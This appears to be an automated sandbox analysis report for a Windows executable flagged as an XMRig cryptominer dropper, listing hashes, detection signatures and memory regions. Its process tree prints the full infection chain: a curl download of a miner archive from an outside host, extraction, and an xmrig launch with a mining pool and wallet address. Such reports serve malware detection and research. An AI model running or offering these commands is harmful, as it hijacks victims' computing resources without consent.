Resubmissions

13/03/2024, 08:45

240313-knsznahb2w 10

13/03/2024, 08:44

240313-knhtpaah68 10

13/03/2024, 08:44

240313-km8cysha9v 10

13/03/2024, 08:43

240313-kms82aah48 10

12/03/2024, 18:00

240312-wlevsshe86 10

12/03/2024, 17:57

240312-wjxylahe48 10

12/03/2024, 17:55

240312-whm21afc7t 10

12/03/2024, 17:54

240312-wg7p1sfc5y 10

12/03/2024, 17:53

240312-wgg5csfc3y 10

12/03/2024, 17:52

240312-wf31fahd58 10

Analysis

  • max time kernel
    1047s
  • max time network
    1054s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12/03/2024, 17:57

General

  • Target

    test - Copy - Copy - Copy (2) - Copy.exe

  • Size

    6KB

  • MD5

    4634098fe194204dc03f967cc0b19cd6

  • SHA1

    eaa58619c6cea9f148cec61ee504cd727b3e80d8

  • SHA256

    a1070b8803e4243699a44a77e60a199282814495bc3bd94759c07021c0a6c70c

  • SHA512

    64e97fac56a25daf99f8ee1a9f480acc8020d5da4eb96ea77022c9170f6300b7b5479fce86e3e7e088cdaabdf123b65872e09b0ae17f8f97ea2fe58b6ecf7a9d

  • SSDEEP

    96:2Fb158Vgo4CVvAXklfZT8kYl9RxxgAVNb8ICcGKzNt:oMV1vAX+8kYDRxbLh4s

Score
10/10

Malware Config

Signatures

  • XMRig Miner payload 60 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\test - Copy - Copy - Copy (2) - Copy.exe
    "C:\Users\Admin\AppData\Local\Temp\test - Copy - Copy - Copy (2) - Copy.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4148
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\AP8lc5mj.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4360
      • C:\Windows\system32\curl.exe
        curl -o "C:\xmrig\xmrig-6.21.1-gcc-win64.zip" https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip
        3⤵
          PID:1012
        • C:\Windows\system32\tar.exe
          tar -xf "C:\xmrig\xmrig-6.21.1-gcc-win64.zip"
          3⤵
            PID:4592
          • C:\xmrig\xmrig-6.21.1\xmrig.exe
            C:\xmrig\xmrig-6.21.1\xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 49QgS4Cu9uqVeqgDpwtdZWYZrDNrUJXfzDiGmwsZFLdEgQPAQV7SbswUHqZG3B45HAiSR1cYZoSvgC56kctnqsSjMNFnJmU.RIG -p x --cpu-affinity=5 --cpu-no-yield
            3⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            PID:1752

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\AP8lc5mj.bat

        Filesize

        421B

        MD5

        67d11b392feb0ad59fc11ff3e79dfeee

        SHA1

        7df5785988cb76c4893773614572c93baaa18717

        SHA256

        69bcf6c4c959410d5857ac219600cec68035bd92e708c0bf7318eece8d5acb9d

        SHA512

        50835d7dccb22cbf052a64ce2dd50df97f726b1d2044ab0e55ba42a2874601b6fe064f84659f89ce079627d147cf49d9548b24b2160a17783b934c6793507f11

      • C:\xmrig\xmrig-6.21.1-gcc-win64.zip

        Filesize

        3.2MB

        MD5

        e27f13ffb2989f290f16f8edd1c80171

        SHA1

        352a34a66152f4998b8d9152356528f980de2ef5

        SHA256

        fa6214ad822c6a70ee064de975608438a55eac4de41a5bb20f7180895e0524f9

        SHA512

        549a1c129ba53006e664b710361b860f9fdd58dc4682b36733fd3d10c36aa80fb28610d47ec18a8e91dad55542a83b58f5df79a8b9928cbe851b3557fde2b06a

      • C:\xmrig\xmrig-6.21.1\xmrig.exe

        Filesize

        7.9MB

        MD5

        7fe01842d8fec7b62705d27636354c7f

        SHA1

        6a471bb66cbf9c6e61be7bb75af5ff7d33f1d620

        SHA256

        aa5aa045006070e1781dd6bc25215d363ed1628741207b5f3afdf040ecf36c0c

        SHA512

        1efa8e7e0b5ff37ae3a9c0c52d67b0dd7aaa95713dc6854b032725f50240ee040100990afe93ebdcc9c4abb1ef06b9aecb0b39d4f0c8b09e02f020e064d27567

      • memory/1752-59-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-62-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-25-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-26-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-27-0x000001C4270E0000-0x000001C427100000-memory.dmp

        Filesize

        128KB

      • memory/1752-28-0x000001C427100000-0x000001C427120000-memory.dmp

        Filesize

        128KB

      • memory/1752-29-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-32-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-34-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-35-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-37-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-38-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-39-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-40-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-42-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-43-0x000001C4270E0000-0x000001C427100000-memory.dmp

        Filesize

        128KB

      • memory/1752-44-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-61-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-46-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-47-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-48-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-49-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-50-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-51-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-52-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-53-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-54-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-55-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-56-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-57-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-58-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-23-0x000001C4256C0000-0x000001C4256E0000-memory.dmp

        Filesize

        128KB

      • memory/1752-24-0x000001C4259A0000-0x000001C4259C0000-memory.dmp

        Filesize

        128KB

      • memory/1752-60-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-45-0x000001C427100000-0x000001C427120000-memory.dmp

        Filesize

        128KB

      • memory/1752-63-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-64-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-65-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-66-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-67-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-68-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-69-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-70-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-71-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-72-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-73-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-74-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-75-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-76-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-77-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-78-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-79-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-80-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-81-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-82-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-83-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-84-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-85-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-86-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-87-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-88-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-89-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-90-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/1752-91-0x00007FF78B540000-0x00007FF78C044000-memory.dmp

        Filesize

        11.0MB

      • memory/4148-0-0x0000000000D80000-0x0000000000D88000-memory.dmp

        Filesize

        32KB

      • memory/4148-3-0x00007FFB40090000-0x00007FFB40B51000-memory.dmp

        Filesize

        10.8MB

      • memory/4148-22-0x00007FFB40090000-0x00007FFB40B51000-memory.dmp

        Filesize

        10.8MB